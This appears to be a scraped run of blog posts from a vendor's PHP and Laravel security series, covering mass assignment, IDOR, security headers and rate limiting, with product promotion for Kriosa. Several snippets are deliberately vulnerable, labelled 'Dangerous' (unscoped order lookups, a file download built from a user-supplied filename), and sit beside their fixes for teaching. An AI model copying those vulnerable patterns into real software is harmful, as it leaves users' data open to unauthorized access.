})->middleware('auth:sanctum');

Or with a Form Request:

public function update(UpdateProfileRequest $request)
{
    $request->user()->update($request->validated());
    return response()->json(['message' => 'Updated']);
}

Auditing Your Existing Codebase

Run these searches now:

# Plain PHP — dynamic property assignment from request data
grep -r "foreach (\$_POST" app/
grep -r "\$_POST\[" app/

# Laravel — update() or create() with all() highest risk
grep -r "->update(\$request->all())" app/
grep -r "::create(\$request->all())" app/
grep -r "->update(\$request->input())" app/

# Laravel — forceFill usage  needs manual review
grep -r "forceFill" app/

# Laravel — models with no fillable or guarded
grep -rL "fillable\|guarded" app/Models/

Each result is a potential mass assignment vulnerability that deserves manual review.

The Mass Assignment Checklist

For plain PHP:

Never use foreach ($_POST as $key => $value) to map request data to object properties
Always define an explicit allowlist of fields before processing request data
Never assume parameterized queries protect against mass assignment they solve a different problem
Review every place request data is mapped to database columns or object properties

For Laravel:

Every model that accepts user input has $fillable defined
$guarded = [] does not appear in any production model without scrutiny
Every controller uses $request->only() or $request->validated() never $request->all() with update() or create()
Every API endpoint filters fields explicitly JSON bodies are as dangerous as form submissions
forceFill() is only used with controlled internal data never with user input
Sensitive fields are explicitly absent from $fillable role, is_admin, balance, email_verified_at, deleted_at, stripe_customer_id, created_at
Form Requests are used for complex update operations $request->validated() is the default pattern $fillable is used alongside authorization mass assignment protection and access control are separate concerns

Where Kriosa Fits

Mass assignment vulnerabilities are prevented at the application layer by allowlists in plain PHP and by $fillable, $request->only(), and Form Requests in Laravel. A request containing extra fields looks identical to a legitimate request at the network level.

What Kriosa adds is visibility into the reconnaissance that precedes exploitation. Attackers probing for mass assignment vulnerabilities often send systematic requests testing which fields get written, checking responses for evidence that extra fields were accepted, scanning error messages for column names that reveal the database structure.

That probing behavior not the exploit itself is what a request-level security layer can surface. Unusual field patterns in update requests, systematic testing of sensitive field names, and behavioral anomalies that precede a successful mass assignment attack can appear in the XAI dashboard before the attacker finds what they are looking for.

Prevention through allowlists and Form Requests stops the breach. Detection through behavioral monitoring tells you someone is looking for one.

In Prolify every client review workflow update goes through a Form Request. $request->validated() is the only way data reaches the model. In belle-full every order update uses scoped queries and explicit field filtering. Neither application processes $request->all() directly.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.

The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: Session security in PHP — what most developers get wrong
Article 13: Rate limiting in Laravel and PHP — how to stop brute force before it starts
Article 14: Security headers in PHP and Laravel — the lines that harden every response
Article 15: IDOR in PHP and Laravel — when changing one number exposes someone else's data
Article 16: This article — mass assignment in PHP and Laravel and when user input becomes more than it should

IDOR in PHP and Laravel — When Changing One Number Exposes Someone Else's Data

Nchiminyi — Founder, Kriosa — Fri, 21 Aug 2026 13:58:19 +0000

This is the fifteenth article in a series on PHP and Laravel application security.

So far we have covered:

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: Session security in PHP — what most developers get wrong
Article 13: Rate limiting in Laravel and PHP — how to stop brute force before it starts
Article 14: Security headers in PHP and Laravel — the lines that harden every response

Every article in this series follows the same principle: understand the attack before you try to stop it.

IDOR does not require exploiting a buffer overflow. It does not require reverse engineering binary code. It does not require any technical skill beyond knowing how to change a number in a URL. And it has caused some of the most significant data breaches in recent history.

What IDOR Actually Is

Insecure Direct Object Reference is when your application exposes a reference to an internal object a database record, a file, a user account — and does not verify that the requesting user is authorized to access that specific object.

Your application shows a user their order:

https://yoursite.com/orders/1042

The number 1042 is the direct object reference. It points directly to a row in your database. The application checked that the user is logged in. It did not check that order 1042 belongs to this user.

An attacker changes the number:

https://yoursite.com/orders/1043
https://yoursite.com/orders/1044
https://yoursite.com/orders/1045

Each one returns a different customer's order. The attacker enumerates every order in your system by incrementing a number. No hacking required. No exploit needed. Just arithmetic.

Why IDOR Is So Common

IDOR is part of Broken Access Control the number one vulnerability on the OWASP Top 10 since the 2021 edition. It is so common because it comes from a natural but wrong assumption:

The user is logged in so they must be allowed to see this.

Authentication proves identity. It says nothing about authorization. A logged-in user is not automatically allowed to access every resource in your system only the resources that belong to them or that they have been explicitly granted access to.

Most developers check authentication. Most developers forget authorization at the object level. The code looks correct because the authentication check is there. The vulnerability exists because the ownership check is not.

This is also where request-level security monitoring becomes useful. Authorization prevents the unauthorized request from succeeding but monitoring can reveal that someone is repeatedly attempting those requests. A single failed request to /orders/1043 may be normal. Hundreds of sequential requests across /orders/1043, /orders/1044, /orders/1045 and beyond are a very different signal — the kind of behavioral pattern Kriosa is designed to surface.

Where IDOR Appears in PHP Applications

IDOR hides in four common places.

URL parameters:

GET /profile?user_id=42
GET /invoice/download?id=1089
GET /messages?thread_id=567

POST body parameters:

POST /update-address
Body: user_id=42&street=New+Street

API endpoints:

GET /api/v1/users/42
DELETE /api/v1/documents/1089
PUT /api/v1/orders/567

File downloads:

GET /download?file=invoice_1089.pdf
GET /documents/contract_42.pdf

Every one of these is a potential IDOR vulnerability if the application does not verify that the authenticated user is authorized to access that specific resource.

The Vulnerable Code Pattern

Here is what vulnerable PHP looks like:

// Dangerous — checks authentication but not authorization
function getOrder(PDO $pdo, int $orderId): ?array
{
    if (!isset($_SESSION['user_id'])) {
        header('Location: /login');
        exit;
    }

    $stmt = $pdo->prepare('SELECT * FROM orders WHERE id = ?');
    $stmt->execute([$orderId]);
    return $stmt->fetch() ?: null;
}

$orderId = (int) $_GET['id'];
$order = getOrder($pdo, $orderId);

The authentication check is present. The authorization check is absent. Any logged-in user can access any order in the database by changing the ID in the URL.

Fix 1 — Ownership Check in the Query

The simplest and most reliable fix: include the authenticated user's ID in every query that retrieves user-specific data.

function getOrder(PDO $pdo, int $orderId, int $userId): ?array
{
    $stmt = $pdo->prepare('
        SELECT * FROM orders
        WHERE id = ? AND user_id = ?
    ');
    $stmt->execute([$orderId, $userId]);
    $order = $stmt->fetch();

    if (!$order) {
        http_response_code(404);
        exit;
    }

    return $order;
}

$orderId = (int) $_GET['id'];
$userId  = (int) $_SESSION['user_id'];
$order   = getOrder($pdo, $orderId, $userId);

The AND user_id = ? clause means the database only returns the order if both conditions are true the ID matches and it belongs to the authenticated user. An attacker who changes the order ID gets a 404 for any order that does not belong to them.

On returning 404 versus 403:

When revealing whether the resource exists would itself disclose sensitive information returning 404 instead of 403 is a useful defensive pattern. A 403 tells the attacker "this resource exists but you cannot access it." A 404 tells them nothing. In many contexts this distinction meaningfully reduces information leakage.

Fix 2 — Scoped Queries

Scoped queries make IDOR structurally impossible by always filtering by the authenticated user before any ID lookup:

// Returns only orders belonging to this user
function getUserOrders(PDO $pdo, int $userId): array
{
    $stmt = $pdo->prepare('
        SELECT * FROM orders
        WHERE user_id = ?
        ORDER BY created_at DESC
    ');
    $stmt->execute([$userId]);
    return $stmt->fetchAll();
}

// Returns one specific order only if it belongs to this user
function getUserOrder(PDO $pdo, int $orderId, int $userId): ?array
{
    $stmt = $pdo->prepare('
        SELECT * FROM orders
        WHERE id = ? AND user_id = ?
    ');
    $stmt->execute([$orderId, $userId]);
    return $stmt->fetch() ?: null;
}

There is no code path in these functions where a user can retrieve another user's data. The scope is enforced at the database layer not as a conditional check after the fact.

Fix 3 — Non-Sequential Identifiers

Sequential integer IDs make enumeration trivial the attacker increments and iterates. Non-sequential identifiers like UUIDs make this significantly harder:

/orders/550e8400-e29b-41d4-a716-446655440000

Use a trusted library rather than implementing UUID generation manually:

// composer require ramsey/uuid
use Ramsey\Uuid\Uuid;

function createOrder(PDO $pdo, int $userId): string
{
    $uuid = Uuid::uuid4()->toString();

    $stmt = $pdo->prepare('
        INSERT INTO orders (uuid, user_id, created_at)
        VALUES (?, ?, NOW())
    ');
    $stmt->execute([$uuid, $userId]);

    return $uuid;
}

Important: UUIDs are not an authorization mechanism. They make enumeration harder not impossible. A UUID discovered through logs, referrer headers, or shared links can still be accessed by unauthorized users if no authorization check exists. Always combine non-sequential identifiers with proper ownership verification.

IDOR in File Downloads

File download endpoints are a particularly common IDOR vector:

// Dangerous — filename comes directly from user input
$filename = $_GET['file'];
$filepath = '/var/www/storage/invoices/' . $filename;

if (file_exists($filepath)) {
    header('Content-Type: application/pdf');
    readfile($filepath);
}

The fix verifies ownership before constructing the file path and never takes the filename from user input.

function downloadInvoice(PDO $pdo, int $invoiceId, int $userId): void
{
    // Verify ownership first — fetch filename from database
    $stmt = $pdo->prepare('
        SELECT filename FROM invoices
        WHERE id = ? AND user_id = ?
    ');
    $stmt->execute([$invoiceId, $userId]);
    $invoice = $stmt->fetch();

    if (!$invoice) {
        http_response_code(404);
        exit;
    }

    // Filename comes from database not from user input
    $filepath = '/var/www/storage/invoices/' . $invoice['filename'];

    if (!file_exists($filepath)) {
        http_response_code(404);
        exit;
    }

    header('Content-Type: application/pdf');
    header('Content-Disposition: attachment; filename="invoice.pdf"');
    readfile($filepath);
}

$invoiceId = (int) $_GET['id'];
$userId    = (int) $_SESSION['user_id'];
downloadInvoice($pdo, $invoiceId, $userId);

The user supplies an ID. The database returns the filename but only after confirming the invoice belongs to the authenticated user. The user never controls the file path directly.

IDOR in Laravel

Laravel provides several mechanisms to prevent IDOR.

Explicit ownership check:

// Dangerous — no ownership check
public function show(Order $order)
{
    return view('orders.show', compact('order'));
}

// Safe — explicit ownership check
public function show(Order $order)
{
    if ($order->user_id !== auth()->id()) {
        abort(404);
    }
    return view('orders.show', compact('order'));
}

Using policies:

// app/Policies/OrderPolicy.php
class OrderPolicy
{
    public function view(User $user, Order $order): bool
    {
        return $user->id === $order->user_id;
    }

    public function update(User $user, Order $order): bool
    {
        return $user->id === $order->user_id;
    }

    public function delete(User $user, Order $order): bool
    {
        return $user->id === $order->user_id;
    }
}

public function show(Order $order)
{
    $this->authorize('view', $order);
    return view('orders.show', compact('order'));
}

Scoped queries the strongest approach:

// This can never return another user's order
public function show(int $id)
{
    $order = auth()->user()->orders()->findOrFail($id);
    return view('orders.show', compact('order'));
}

The query is scoped to the authenticated user before the ID lookup. findOrFail() returns a 404 automatically if no matching record is found for this user.

Scoped route model binding:

Route::get('/users/{user}/orders/{order}', [OrderController::class, 'show'])
    ->scopeBindings();

Laravel scopes the {order} binding through the parent {user} relationship automatically no manual ownership check needed in the controller.

File downloads in Laravel:

public function download(int $id)
{
    $invoice = auth()->user()->invoices()->findOrFail($id);

    if (!Storage::disk('local')->exists('invoices/' . $invoice->filename)) {
        abort(404);
    }

    return response()->download(
        storage_path('app/invoices/' . $invoice->filename),
        'invoice.pdf'
    );
}

API Endpoints and IDOR

API endpoints are where IDOR is most commonly forgotten:

// Dangerous — any authenticated user can access any user's data
Route::get('/api/users/{id}', function ($id) {
    return User::find($id);
})->middleware('auth:sanctum');

// Safe — scoped to authenticated user
Route::get('/api/profile', function (Request $request) {
    return $request->user();
})->middleware('auth:sanctum');

// Safe — ownership check for specific resources
Route::get('/api/orders/{id}', function (Request $request, $id) {
    $order = $request->user()->orders()->findOrFail($id);
    return response()->json($order);
})->middleware('auth:sanctum');

Being authenticated via Sanctum does not mean the user is authorized to access every resource. The ownership check is required on every API endpoint that returns user-specific data.

The IDOR Prevention Checklist

For plain PHP:

Never fetch a resource using only a user-supplied ID
Always include the authenticated user's ID in every ownership-sensitive query
Return 404 not 403 when revealing resource existence would leak sensitive information
Use non-sequential identifiers from a trusted UUID library as an additional layer — not as a substitute for authorization
Never construct file paths from user-supplied filenames fetch filenames from the database after ownership verification
Apply ownership checks to every endpoint GET, POST, PUT, DELETE, and file downloads
Apply the same rules to API endpoints as to web endpoints

For Laravel:

Use scoped queries auth()->user()->orders()->findOrFail($id) as the default pattern
Use policies for complex authorization logic
Use scoped route model binding for nested resources
Never use Model::find($id) without an ownership check for user-specific resources
Apply the same authorization rules to API routes as web routes
Return abort(404) when ownership verification fails

Where Kriosa Fits

Authorization controls prevent unauthorized access. They do not tell you when someone is systematically probing for authorization gaps.

Kriosa complements these controls by monitoring incoming request patterns for behavioral signals such as repeated resource enumeration and unusual access patterns. When detected those signals are surfaced in the security dashboard alongside the request context giving you visibility into what is happening before a breach occurs.

A single failed request to /orders/1043 may be a typo. Hundreds of sequential requests across incrementing order IDs from the same authenticated session is a pattern worth investigating. Authorization alone cannot surface that distinction. Behavioral monitoring can.

In production applications like
Prolify where each client session is a trust boundary and client work must never cross between accounts and
Belle-Full where customer order data belongs to specific users these two layers work together. Authorization controls prevent breaches. Behavioral monitoring surfaces the probing that precedes them.

Prevention stops the breach. Detection tells you someone is looking for one.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Sleep better — we're awake. Kriosa.

Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.

The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: Session security in PHP — what most developers get wrong
Article 13: Rate limiting in Laravel and PHP — how to stop brute force before it starts
Article 14: Security headers in PHP and Laravel — the lines that harden every response
Article 15: This article — IDOR in PHP and Laravel and when changing one number exposes someone else's data

Security Headers in PHP and Laravel — The Lines That Harden Every Response

Nchiminyi — Founder, Kriosa — Tue, 18 Aug 2026 07:00:00 +0000

ORIGINALLY POSTED ON KRIOSA

This is the fourteenth article in a series on PHP and Laravel application security.

So far we have covered

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
How attackers enumerate your Laravel app before exploiting it
File upload security — the file that isn't what it claims to be
Path traversal in PHP — how ../ escapes your application
Command injection in PHP — when exec() becomes an attack surface
Broken access control in Laravel — why being logged in is not enough
Secrets in Laravel — why .env is only the beginning
Session security in PHP — what most developers get wrong
Rate limiting in Laravel and PHP — how to stop brute force before it starts

Every article in this series follows the same principle understand the attack before you try to stop it.

Most vulnerabilities in this series require changes to your business logic. Security headers are different. They require no changes to your application code. A carefully designed security-header policy applied through middleware or web server configuration hardens how the browser handles your responses while individual headers may be relevant only to certain response types.

What Security Headers Are

Every HTTP response your server sends includes headers metadata that travels alongside the content. Security headers tell the browser how to behave securely when handling your application's content.

When your server sends them the browser follows their instructions. An attacker who successfully injects a malicious script may find the browser refuses to execute it because it violates the Content Security Policy. An attacker attempting clickjacking may find the browser refuses to render your page inside their iframe. An attacker intercepting an HTTP connection may find the browser refuses to downgrade from HTTPS.

Security headers do not fix vulnerabilities in your code. They raise the cost of exploiting them.

Header 1 — Content-Security-Policy

CSP is the most powerful security header and the most complex to configure correctly.

CSP tells the browser exactly which sources of content are allowed to load on your page. Scripts, stylesheets, images, fonts, frames everything. If a source is not on the approved list the browser refuses to load it.

This directly reduces the impact of XSS attacks. Even if an attacker successfully injects a script tag, if the source is not in your CSP the browser will not execute it.

A starting point:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; font-src 'self'; base-uri 'self'; form-action 'self'; object-src 'none'; frame-ancestors 'none'

Breaking this down:

default-src 'self' — only load content from your own domain by default
script-src 'self' — only execute scripts from your own domain
style-src 'self' — only allow stylesheets from your own domain
img-src 'self' data: — allow images from your domain and data URIs
base-uri 'self' — prevent attackers from injecting a base tag that redirects relative URLs
form-action 'self' — prevent forms from submitting to external domains
object-src 'none' — block plugins entirely
frame-ancestors 'none' — prevent your page from being embedded in iframes anywhere

Avoid 'unsafe-inline':

You will see many CSP examples that include 'unsafe-inline' for scripts or styles. Avoid it where practical — it allows inline scripts and styles to execute, significantly weakening XSS protection. Use nonces or hashes for inline scripts instead:

script-src 'self' 'nonce-{random-value}'

<script nonce="abc123def456">
    // inline script here
</script>

frame-ancestors versus frame-src:

frame-ancestors 'none' — controls who can embed your page in an iframe (prevents clickjacking)
frame-src 'none' — controls what iframes your page is allowed to load

Set both if your application neither embeds external content nor should be embeddable itself.

Start with report-only mode:

Content-Security-Policy-Report-Only: default-src 'self'

This logs violations without blocking anything letting you see what would break before enforcement begins. CSP is hard to get right because every third-party resource needs explicit allowance.

Header 2 — X-Frame-Options

Prevents your page from being embedded inside an iframe on another domain. Without it an attacker can overlay your application inside a transparent iframe and trick users into clicking buttons they cannot see clickjacking.

X-Frame-Options: DENY

Or to allow embedding only from your own domain:

X-Frame-Options: SAMEORIGIN

The frame-ancestors directive in CSP is the modern replacement. Keep X-Frame-Options for older browser compatibility. Note it is primarily relevant for responses rendered as documents not API responses or redirects.

Header 3 — X-Content-Type-Options

Stops browsers from guessing the content type of a response a behavior called MIME sniffing.

Without this a browser might look at a response body and decide it looks like JavaScript even if the server sent it as text/plain. An attacker who can upload a file can exploit MIME sniffing to execute scripts by making the browser misidentify the file type.

X-Content-Type-Options: nosniff

Trust the Content-Type header the server sent. Do not guess.

Header 4 — Strict-Transport-Security

HSTS tells the browser to only ever connect to your domain over HTTPS even if the user types http:// or clicks an HTTP link.

Without HSTS an attacker performing a man-in-the-middle attack can intercept the initial HTTP request before it redirects to HTTPS stealing cookies and session data before encryption begins.

Strict-Transport-Security: max-age=31536000; includeSubDomains

max-age=31536000 — remember this rule for one year
includeSubDomains — apply to all subdomains too

Critical: your application must already be correctly configured for HTTPS before enabling HSTS. Setting it on a domain with any HTTP content will break those pages for up to one year.

About preload: adding preload submits your domain to browser preload lists even the very first connection is forced to HTTPS before the browser has ever received an HSTS header from your server. This is difficult to reverse. Treat it as an intentional deployment decision requiring careful planning not simply another flag to copy and paste.

Header 5 — Referrer-Policy

When a user clicks a link from your application to an external site the browser sends a Referer header containing the URL they came from. This can leak sensitive information — user IDs, session tokens, or private page paths in your URLs.

Referrer-Policy: strict-origin-when-cross-origin

Sends the full URL for same-origin requests but only the origin not the full path for cross-origin requests. Sensitive URL parameters do not leak to external sites.

Other useful values:

no-referrer — never send any referrer information
same-origin — only send referrer for same-origin requests
strict-origin — only send the origin, never the full URL

Header 6 — Permissions-Policy

Controls which browser APIs your application is allowed to access. Disable features you do not need to reduce the attack surface if your application is ever compromised through another vulnerability.

Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()

Empty parentheses () disable the feature entirely. Allow what you need explicitly:

Permissions-Policy: camera=(), microphone=(), geolocation=(self), payment=()

Important: Permissions-Policy does not replace application authorization. If your application must prevent a user from accessing a feature the server must still enforce that. Permissions-Policy is defense in depth it reduces browser-level capability but cannot substitute for server-side access control.

Header 7 — What Happened to X-XSS-Protection?

You may still see X-XSS-Protection: 1; mode=block in older tutorials. Do not copy it blindly.

The header was designed for browser XSS filters that modern browsers have largely removed. It is deprecated, has limited support in modern browsers, and can introduce security problems. OWASP and MDN both recommend against using it as a modern XSS defense.

Your primary XSS defenses should be proper output encoding covered in article 5 and a well-designed Content Security Policy. If you inherit an application sending this header review whether it should be removed.

Implementation in Plain PHP

Add security headers early in your request lifecycle before any output is sent

function setSecurityHeaders(array $options = []): void
{
    $csp = $options['csp'] ?? implode('; ', [
        "default-src 'self'",
        "script-src 'self'",
        "style-src 'self'",
        "img-src 'self' data:",
        "font-src 'self'",
        "base-uri 'self'",
        "form-action 'self'",
        "object-src 'none'",
        "frame-ancestors 'none'",
    ]);

    $enableHsts = $options['hsts'] ?? false;

    header('X-Frame-Options: DENY');
    header('X-Content-Type-Options: nosniff');
    header('Referrer-Policy: strict-origin-when-cross-origin');
    header('Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()');
    header('Content-Security-Policy: ' . $csp);

    if ($enableHsts) {
        header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
    }
}

HSTS is disabled by default — enable it only after confirming your entire domain is served over HTTPS.

In a bootstrap file:

<?php
require_once 'vendor/autoload.php';

setSecurityHeaders(['hsts' => true]); // only if fully HTTPS

session_set_cookie_params([
    'secure'   => true,
    'httponly' => true,
    'samesite' => 'Lax',
]);
session_start();

At the web server level — Nginx:

server {
    add_header X-Frame-Options "DENY" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; font-src 'self'; base-uri 'self'; form-action 'self'; object-src 'none'; frame-ancestors 'none'" always;
}

Apache:

<IfModule mod_headers.c>
    Header always set X-Frame-Options "DENY"
    Header always set X-Content-Type-Options "nosniff"
    Header always set Referrer-Policy "strict-origin-when-cross-origin"
    Header always set Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()"
    Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
    Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; font-src 'self'; base-uri 'self'; form-action 'self'; object-src 'none'; frame-ancestors 'none'"
</IfModule>

Web server configuration is the most reliable approach for legacy PHP applications without a central request entry point.

Implementation in Laravel

Create the middleware:

php artisan make:middleware SecurityHeaders

namespace App\Http\Middleware;

use Closure;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response;

class SecurityHeaders
{
    public function handle(Request $request, Closure $next): Response
    {
        $response = $next($request);

        $response->headers->set('X-Frame-Options', 'DENY');
        $response->headers->set('X-Content-Type-Options', 'nosniff');
        $response->headers->set('Referrer-Policy', 'strict-origin-when-cross-origin');
        $response->headers->set('Permissions-Policy', 'camera=(), microphone=(), geolocation=(), payment=()');
        $response->headers->set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
        $response->headers->set(
            'Content-Security-Policy',
            config('security.csp', implode('; ', [
                "default-src 'self'",
                "script-src 'self'",
                "style-src 'self'",
                "img-src 'self' data:",
                "font-src 'self'",
                "base-uri 'self'",
                "form-action 'self'",
                "object-src 'none'",
                "frame-ancestors 'none'",
            ]))
        );

        return $response;
    }
}

Register it — Laravel 11 and later:

// bootstrap/app.php
->withMiddleware(function (Middleware $middleware) {
    $middleware->append(\App\Http\Middleware\SecurityHeaders::class);
})

Laravel 10 and earlier:

// app/Http/Kernel.php
protected $middleware = [
    \App\Http\Middleware\SecurityHeaders::class,
];

Make CSP configurable:

// config/security.php
return [
    'csp' => env('CSP_POLICY', implode('; ', [
        "default-src 'self'",
        "script-src 'self'",
        "style-src 'self'",
        "img-src 'self' data:",
        "font-src 'self'",
        "base-uri 'self'",
        "form-action 'self'",
        "object-src 'none'",
        "frame-ancestors 'none'",
    ])),
    'hsts' => env('ENABLE_HSTS', false),
];

API routes and security headers:

Do not exclude API routes from security headers automatically. Decide which headers are meaningful for each response type. X-Frame-Options and frame-ancestors have limited relevance for JSON API responses — X-Content-Type-Options and CSP remain valuable for all response types.

Testing Your Security Headers

securityheaders.com — shows which headers are present and what is missing
Mozilla Observatory at observatory.mozilla.org — comprehensive security scan
Browser DevTools — Network tab, select any request, Headers section

A high scanner score does not prove your application is secure. Headers cannot replace secure authentication, authorization, input validation, output encoding, dependency management, or server configuration. Use scanner scores as a signal — not as evidence of security.

The Security Headers Checklist

For plain PHP:

Call your security headers function before any output
Use a front controller or web server config to ensure every response gets headers
Start CSP in report-only mode before enforcing
Enable HSTS only after confirming all subdomains are HTTPS
Avoid 'unsafe-inline' in CSP — use nonces or hashes for inline scripts
Do not add X-XSS-Protection — it is deprecated
Test with securityheaders.com as a baseline check after deployment

For Laravel:

Create a global middleware that runs on every request
Register it in the global middleware stack
Make CSP configurable through environment variables
Decide per response type which headers are relevant — do not exclude API routes automatically
Enable HSTS only in production where all subdomains are HTTPS
Avoid 'unsafe-inline' in CSP
Do not add X-XSS-Protection
Use scanner scores as signals not as proof of security

Where Kriosa Fits

Security headers protect the browser after a response is generated. They are a browser-enforcement layer.

Kriosa operates at a different layer entirely.

Kriosa analyzes incoming requests for suspicious reconnaissance and attack patterns — automated scanning, repeated probing, malicious payloads, and other behavioral signals that appear before or alongside an attempted exploit. These request patterns are surfaced in the XAI dashboard with an explanation of what was detected and why it was flagged.

The two controls solve different problems. Security headers harden how the browser handles your responses. Kriosa monitors what is happening at the request layer before a response is ever generated.

Production PHP applications are already running with Kriosa in front of them.

Prolify — a design-proofing platform where designers share work with clients for review and approval. Every session is a trust boundary. A compromised login means a client’s unreleased creative work is exposed to the wrong person.

belle-full — a PHP application built for bakers, handling real customer orders and business data. Secured with Kriosa from day one not retrofitted after a scare, built with protection as a foundation.
Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Documentation: kriosa Docs.

Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.

The Series So Far

Article 1 : What your PHP logs actually look like during a SQL injection attack
Article 2 : Why URL encoding can break PHP security checks
Article 3 : The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4 : Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8 : Path traversal in PHP — how ../ escapes your application
Article 9 : Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: Session security in PHP — what most developers get wrong
Article 13 : Rate limiting in Laravel and PHP — how to stop brute force before it starts
Article 14: This article — security headers in PHP and Laravel

Rate Limiting in Laravel and PHP — How to Stop Brute Force Before It Starts

Nchiminyi — Founder, Kriosa — Fri, 14 Aug 2026 07:00:00 +0000

ORIGINALLY PUBLISHED ON MEDIUM

This is the thirteenth article in a series on PHP and Laravel application security.

So far we have covered:

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
How attackers enumerate your Laravel app before exploiting it
File upload security — the file that isn't what it claims to be
Path traversal in PHP — how ../ escapes your application
Command injection in PHP — when exec() becomes an attack surface
Broken access control in Laravel — why being logged in is not enough
Secrets in Laravel — why .env is only the beginning
Session security in PHP — what most developers get wrong

Every article in this series follows the same principle: understand the attack before you try to stop it.

Brute force attacks are not sophisticated. They do not require exploiting a vulnerability in your code. They require only that your application accepts unlimited login attempts and most PHP applications do.

What Brute Force Actually Is

A brute force attack is when an attacker tries many passwords against a login form hoping one works. Modern brute force attacks are fully automated. A script sends login requests as fast as your server will accept them.

Simple brute force tries every possible password combination. Slow but exhaustive.

Dictionary attacks try a list of common passwords password123, qwerty, admin, letmein. Fast and effective because most users choose predictable passwords.

Credential stuffing uses username and password combinations leaked from other breached websites. If a user reused their password from a previously breached service the attacker gets in immediately without guessing anything. This is the most effective modern login attack because it exploits human behavior rather than application weaknesses.

All three share one characteristic they require many requests. Rate limiting makes all three significantly harder.

Rate Limiting in Plain PHP

PHP has no built-in rate limiting. You implement it using a storage mechanism to track attempts.

Session-based — for demonstration only:

session_start();

function checkRateLimit(int $maxAttempts, int $windowSeconds): bool
{
    $key = 'login_attempts';
    $windowKey = 'login_window_start';
    $now = time();

    if (!isset($_SESSION[$windowKey]) ||
        ($now - $_SESSION[$windowKey]) > $windowSeconds) {
        $_SESSION[$windowKey] = $now;
        $_SESSION[$key] = 0;
    }

    $_SESSION[$key]++;

    return $_SESSION[$key] <= $maxAttempts;
}

if (!checkRateLimit(5, 60)) {
    http_response_code(429);
    header('Retry-After: 60');
    die('Too many attempts. Please try again in 60 seconds.');
}

Session-based rate limiting is not meaningful brute-force protection. An attacker can create or discard sessions repeatedly to reset the counter. Automated tools that do not maintain sessions bypass it entirely. Use it only as a demonstration not as real protection.

Database-based — reliable for moderate traffic:

// Required table
// CREATE TABLE login_attempts (
//     id INT AUTO_INCREMENT PRIMARY KEY,
//     identifier VARCHAR(255) NOT NULL,
//     attempted_at INT NOT NULL,
//     INDEX idx_identifier_time (identifier, attempted_at)
// );

function checkRateLimitDb(
    PDO $pdo,
    string $identifier,
    int $maxAttempts,
    int $windowSeconds
): bool {
    $now = time();
    $windowStart = $now - $windowSeconds;

    $stmt = $pdo->prepare('
        SELECT COUNT(*)
        FROM login_attempts
        WHERE identifier = ?
        AND attempted_at > ?
    ');
    $stmt->execute([$identifier, $windowStart]);
    $count = (int) $stmt->fetchColumn();

    if ($count >= $maxAttempts) {
        return false;
    }

    $stmt = $pdo->prepare('
        INSERT INTO login_attempts (identifier, attempted_at)
